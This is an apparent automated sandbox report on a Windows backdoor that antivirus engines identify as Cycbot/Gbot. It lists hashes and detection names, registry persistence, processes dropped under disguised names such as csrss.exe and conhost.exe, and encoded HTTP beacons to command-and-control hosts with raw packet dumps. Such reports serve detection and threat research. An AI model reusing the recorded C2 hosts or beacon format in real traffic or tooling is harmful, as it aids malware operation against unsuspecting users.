Analysis Date2014-06-15 06:08:06
MD5e88a010f503fdca22fe8b3b16780d61b
SHA1aa9bdeeb1d20bd6497139164f4dfd3135331a2a1

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 719ba8e3b59869498d31341e6930d2a6 sha1: d6402a7a40928dfb113bd1def8bd49209149c898 size: 119808
Section.rdata md5: 8fb6004de72cc8d63b31c76cd33cdaa8 sha1: 4fd8868fb2bca6b352998dc6c80948a552eab59b size: 1024
Section.data md5: 82a43a5e59ec22a73a134d1c4318b374 sha1: e84d300b8b12d513371bfd64d5d74603ed8025f7 size: 78336
Section.reloc md5: 7a6e41a5c6ed69b399905d51798b1c5a sha1: 92e982b6f0047377c79a2807c0f66a00f87f1071 size: 1024
Timestamp2005-11-26 03:36:07
PEhash5555472c30d050d356aa376c9e1aa5295e75c82f
IMPhash2e69e83107fbe78d27e2e94d526e3067
AV360 SafeGen:Variant.Kazy.38671
AV360 SafeGen:Variant.Kazy.38671
AVAd-AwareGen:Variant.Kazy.38671
AVAd-AwareGen:Variant.Kazy.38671
AVAlwil (avast)Cybota [Trj]
AVAlwil (avast)Cybota [Trj]
AVArcabit (arcavir)no_virus
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Goolbot.M.gen!Eldorado
AVAuthentiumW32/Goolbot.M.gen!Eldorado
AVAvira (antivir)TR/Crypt.ZPACK.Gen
AVAvira (antivir)TR/Crypt.ZPACK.Gen
AVCA (E-Trust Ino)Win32/Cycbot.G!generic
AVCA (E-Trust Ino)Win32/Cycbot.G!generic
AVCAT (quickheal)Backdoor.Cycbot.B
AVCAT (quickheal)Backdoor.Cycbot.B
AVClamAVWin.Trojan.Gbot-876
AVClamAVWin.Trojan.Gbot-876
AVDr. WebBackDoor.Gbot.70
AVDr. WebBackDoor.Gbot.70
AVEmsisoftGen:Variant.Kazy.38671
AVEmsisoftGen:Variant.Kazy.38671
AVEset (nod32)Win32/Kryptik.TFW
AVEset (nod32)Win32/Kryptik.TFW
AVFortinetW32/Jorik_Gbot.EBE!tr
AVFortinetW32/Jorik_Gbot.EBE!tr
AVFrisk (f-prot)W32/Goolbot.M.gen!Eldorado (generic, not disinfectable)
AVFrisk (f-prot)W32/Goolbot.M.gen!Eldorado (generic, not disinfectable)
AVF-SecureGen:Variant.Kazy.38671
AVF-SecureGen:Variant.Kazy.38671
AVGrisoft (avg)Win32/DH.FF960030{Mw}
AVGrisoft (avg)Win32/DH.FF960030{Mw}
AVIkarusBackdoor.Win32.Cycbot
AVIkarusBackdoor.Win32.Cycbot
AVKasperskyTrojan.Win32.Generic
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesBackdoor.Bot
AVMalwareBytesBackdoor.Bot
AVMcafeeBackDoor-EXI.gen.r
AVMcafeeBackDoor-EXI.gen.r
AVMicrosoft Security Essentialsno_virus
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Gen:Variant.Kazy.38671
AVMicroWorld (escan)Gen:Variant.Kazy.38671
AVNormanwinpe/Kryptik.AKG
AVNormanwinpe/Kryptik.AKG
AVRisingno_virus
AVRisingno_virus
AVSophosMal/Agent-AEO
AVSophosMal/Agent-AEO
AVSymantecBackdoor.Cycbot!gen7
AVSymantecBackdoor.Cycbot!gen7
AVTrend MicroBKDR_CYCBOT.SME3
AVTrend MicroBKDR_CYCBOT.SME3
AVVirusBlokAda (vba32)Backdoor.Gbot

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
1
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\Load ➝
C:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\csrss.exe
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Application Data\75DE.FFC
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates ProcessC:\Documents and Settings\Administrator\Application Data\dwm.exe
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data
Creates ProcessC:\malware.exe startC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe%C:\Documents and Settings\Administrator\Application Data\Microsoft
Creates Mutex{4D92BB9F-9A66-458f-ACA4-66172A7016D4}
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutex{61B98B86-5F44-42b3-BCA1-33904B067B81}
Creates Mutex{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates Mutex{5D92BB9F-9A66-458f-ACA4-66172A7016D4}
Creates Mutex{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}
Creates Mutex{B37C48AF-B05C-4520-8B38-2FE181D5DC78}
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates Mutex{6988405C-71C3-427c-975A-0398706E79EE}
Winsock DNSworldmotoblo.com
Winsock DNS127.0.0.1
Winsock DNSfastblogportal.com
Winsock DNSmonochrom.at

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\dwm.exe%C:\Documents and Settings\Administrator\Application Data

Creates ProcessC:\Documents and Settings\Administrator\Application Data\dwm.exe

Process
↳ C:\malware.exe startC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe%C:\Documents and Settings\Administrator\Application Data\Microsoft

Creates ProcessC:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe

Process
↳ C:\Documents and Settings\Administrator\Application Data\Microsoft\conhost.exe

Network Details:

DNSmonochrom.at
Type: A
193.238.157.41
DNSzonedg.com
Type: A
208.73.211.161
DNSzonedg.com
Type: A
208.73.211.250
DNSzonedg.com
Type: A
208.73.211.182
DNSzonedg.com
Type: A
208.73.211.176
DNSzonedg.com
Type: A
208.73.211.167
DNSfastblogportal.com
Type: A
DNSworldmotoblo.com
Type: A
HTTP GEThttp://monochrom.at/polytheism/pictures/TanzenderShiva.jpg?v55=17&tq=gHZutDyMv5rJejHia9nrmsl6giWz%2BJZbVyA%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yjYvEaSvT%2BsqtSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8OoYvEaSPT%2BsqtSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yvUq%2F3vleWbkY%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B82uYvEaSvT%2BsqpSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yjYvEaS%2FT%2BsqtSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8OoYvEaSPT%2BsqpSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8yvUq%2F3vleWbkY%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B82uYvEaS%2FT%2BsqlSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
HTTP POSThttp://zonedg.com/index.html?tq=gKY0sHoL7L%2BN6yLhbz627sHdMfVsS%2FT5wug%2BtygfvO7H33Hhbj%2Fh7sbedf1sSvT8t65i9hlL9PmxqXH0bF%2FmiMWrdPd5SOeikL50gB9K5PLNq3eFGjzh%2F8DdAYdrT5WO0alxtygbpb6HvnSAOQij%2B8CiYvEaSPT%2Bsqpi8RpL6fhSr%2Fe%2BV5ZuRg%3D%3D
User-Agent: mozilla/2.0
Flows TCP192.168.1.1:1031 ➝ 193.238.157.41:80
Flows TCP192.168.1.1:1032 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1033 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1034 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1035 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1036 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1037 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1038 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1039 ➝ 208.73.211.161:80
Flows TCP192.168.1.1:1040 ➝ 208.73.211.161:80

Raw Pcap
0x00000000 (00000)   47455420 2f706f6c 79746865 69736d2f   GET /polytheism/
0x00000010 (00016)   70696374 75726573 2f54616e 7a656e64   pictures/Tanzend
0x00000020 (00032)   65725368 6976612e 6a70673f 7635353d   erShiva.jpg?v55=
0x00000030 (00048)   31372674 713d6748 5a757444 794d7635   17&tq=gHZutDyMv5
0x00000040 (00064)   724a656a 48696139 6e726d73 6c366769   rJejHia9nrmsl6gi
0x00000050 (00080)   577a2532 424a5a62 56794125 33442048   Wz%2BJZbVyA%3D H
0x00000060 (00096)   5454502f 312e300d 0a436f6e 6e656374   TTP/1.0..Connect
0x00000070 (00112)   696f6e3a 20636c6f 73650d0a 486f7374   ion: close..Host
0x00000080 (00128)   3a206d6f 6e6f6368 726f6d2e 61740d0a   : monochrom.at..
0x00000090 (00144)   41636365 70743a20 2a2f2a0d 0a557365   Accept: */*..Use
0x000000a0 (00160)   722d4167 656e743a 206d6f7a 696c6c61   r-Agent: mozilla
0x000000b0 (00176)   2f322e30 0d0a0d0a                     /2.0....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 796a5976 45615376   OQij%2B8yjYvEaSv
0x000000c0 (00192)   54253242 73717453 72253246 65253242   T%2BsqtSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a                 close....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 4f6f5976 45615350   OQij%2B8OoYvEaSP
0x000000c0 (00192)   54253242 73717453 72253246 65253242   T%2BsqtSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a7563 68206669    close....uch fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 79765571 25324633   OQij%2B8yvUq%2F3
0x000000c0 (00192)   766c6557 626b5925 33442048 5454502f   vleWbkY%3D HTTP/
0x000000d0 (00208)   312e310d 0a486f73 743a207a 6f6e6564   1.1..Host: zoned
0x000000e0 (00224)   672e636f 6d0d0a55 7365722d 4167656e   g.com..User-Agen
0x000000f0 (00240)   743a206d 6f7a696c 6c612f32 2e300d0a   t: mozilla/2.0..
0x00000100 (00256)   436f6e74 656e742d 4c656e67 74683a20   Content-Length: 
0x00000110 (00272)   300d0a43 6f6e6e65 6374696f 6e3a2063   0..Connection: c
0x00000120 (00288)   6c6f7365 0d0a0d0a 6e656374 696f6e3a   lose....nection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a7563 68206669    close....uch fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   a001                                  ..

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 32755976 45615376   OQij%2B82uYvEaSv
0x000000c0 (00192)   54253242 73717053 72253246 65253242   T%2BsqpSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a6966 223e0a20    close....if">. 
0x00000140 (00320)   203c2f62 6f64793e 0a3c2f68 746d6c3e    </body>.</html>
0x00000150 (00336)   0a                                    .

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 796a5976 45615325   OQij%2B8yjYvEaS%
0x000000c0 (00192)   32465425 32427371 74537225 32466525   2FT%2BsqtSr%2Fe%
0x000000d0 (00208)   32425635 5a755267 25334425 33442048   2BV5ZuRg%3D%3D H
0x000000e0 (00224)   5454502f 312e310d 0a486f73 743a207a   TTP/1.1..Host: z
0x000000f0 (00240)   6f6e6564 672e636f 6d0d0a55 7365722d   onedg.com..User-
0x00000100 (00256)   4167656e 743a206d 6f7a696c 6c612f32   Agent: mozilla/2
0x00000110 (00272)   2e300d0a 436f6e74 656e742d 4c656e67   .0..Content-Leng
0x00000120 (00288)   74683a20 300d0a43 6f6e6e65 6374696f   th: 0..Connectio
0x00000130 (00304)   6e3a2063 6c6f7365 0d0a0d0a            n: close....

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 4f6f5976 45615350   OQij%2B8OoYvEaSP
0x000000c0 (00192)   54253242 73717053 72253246 65253242   T%2BsqpSr%2Fe%2B
0x000000d0 (00208)   56355a75 52672533 44253344 20485454   V5ZuRg%3D%3D HTT
0x000000e0 (00224)   502f312e 310d0a48 6f73743a 207a6f6e   P/1.1..Host: zon
0x000000f0 (00240)   6564672e 636f6d0d 0a557365 722d4167   edg.com..User-Ag
0x00000100 (00256)   656e743a 206d6f7a 696c6c61 2f322e30   ent: mozilla/2.0
0x00000110 (00272)   0d0a436f 6e74656e 742d4c65 6e677468   ..Content-Length
0x00000120 (00288)   3a20300d 0a436f6e 6e656374 696f6e3a   : 0..Connection:
0x00000130 (00304)   20636c6f 73650d0a 0d0a7563 68206669    close....uch fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   b011                                  ..

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 79765571 25324633   OQij%2B8yvUq%2F3
0x000000c0 (00192)   766c6557 626b5925 33442048 5454502f   vleWbkY%3D HTTP/
0x000000d0 (00208)   312e310d 0a486f73 743a207a 6f6e6564   1.1..Host: zoned
0x000000e0 (00224)   672e636f 6d0d0a55 7365722d 4167656e   g.com..User-Agen
0x000000f0 (00240)   743a206d 6f7a696c 6c612f32 2e300d0a   t: mozilla/2.0..
0x00000100 (00256)   436f6e74 656e742d 4c656e67 74683a20   Content-Length: 
0x00000110 (00272)   300d0a43 6f6e6e65 6374696f 6e3a2063   0..Connection: c
0x00000120 (00288)   6c6f7365 0d0a0d0a 6d672073 72633d22   lose....mg src="
0x00000130 (00304)   696e7465 726e6574 2e676966 223e0a20   internet.gif">. 
0x00000140 (00320)   203c2f62 6f64793e 0a3c2f68 746d6c3e    </body>.</html>
0x00000150 (00336)   0a                                    .

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 32755976 45615325   OQij%2B82uYvEaS%
0x000000c0 (00192)   32465425 32427371 6c537225 32466525   2FT%2BsqlSr%2Fe%
0x000000d0 (00208)   32425635 5a755267 25334425 33442048   2BV5ZuRg%3D%3D H
0x000000e0 (00224)   5454502f 312e310d 0a486f73 743a207a   TTP/1.1..Host: z
0x000000f0 (00240)   6f6e6564 672e636f 6d0d0a55 7365722d   onedg.com..User-
0x00000100 (00256)   4167656e 743a206d 6f7a696c 6c612f32   Agent: mozilla/2
0x00000110 (00272)   2e300d0a 436f6e74 656e742d 4c656e67   .0..Content-Leng
0x00000120 (00288)   74683a20 300d0a43 6f6e6e65 6374696f   th: 0..Connectio
0x00000130 (00304)   6e3a2063 6c6f7365 0d0a0d0a 223e0a20   n: close....">. 
0x00000140 (00320)   203c2f62 6f64793e 0a3c2f68 746d6c3e    </body>.</html>
0x00000150 (00336)   0a                                    .

0x00000000 (00000)   504f5354 202f696e 6465782e 68746d6c   POST /index.html
0x00000010 (00016)   3f74713d 674b5930 73486f4c 374c2532   ?tq=gKY0sHoL7L%2
0x00000020 (00032)   424e3679 4c68627a 36323773 48644d66   BN6yLhbz627sHdMf
0x00000030 (00048)   56735325 32465435 77756725 32427479   VsS%2FT5wug%2Bty
0x00000040 (00064)   6766764f 37483333 4868626a 25324668   gfvO7H33Hhbj%2Fh
0x00000050 (00080)   37736265 64663173 53765438 74363569   7sbedf1sSvT8t65i
0x00000060 (00096)   39686c4c 39506d78 71584830 62462532   9hlL9PmxqXH0bF%2
0x00000070 (00112)   466d694d 57726450 6435534f 65696b4c   FmiMWrdPd5SOeikL
0x00000080 (00128)   35306742 394b3550 4c4e7133 6546476a   50gB9K5PLNq3eFGj
0x00000090 (00144)   7a682532 46384464 41596472 5435574f   zh%2F8DdAYdrT5WO
0x000000a0 (00160)   30616c78 74796762 70623648 766e5341   0alxtygbpb6HvnSA
0x000000b0 (00176)   4f51696a 25324238 43695976 45615350   OQij%2B8CiYvEaSP
0x000000c0 (00192)   54253242 73717069 3852704c 36666853   T%2Bsqpi8RpL6fhS
0x000000d0 (00208)   72253246 65253242 56355a75 52672533   r%2Fe%2BV5ZuRg%3
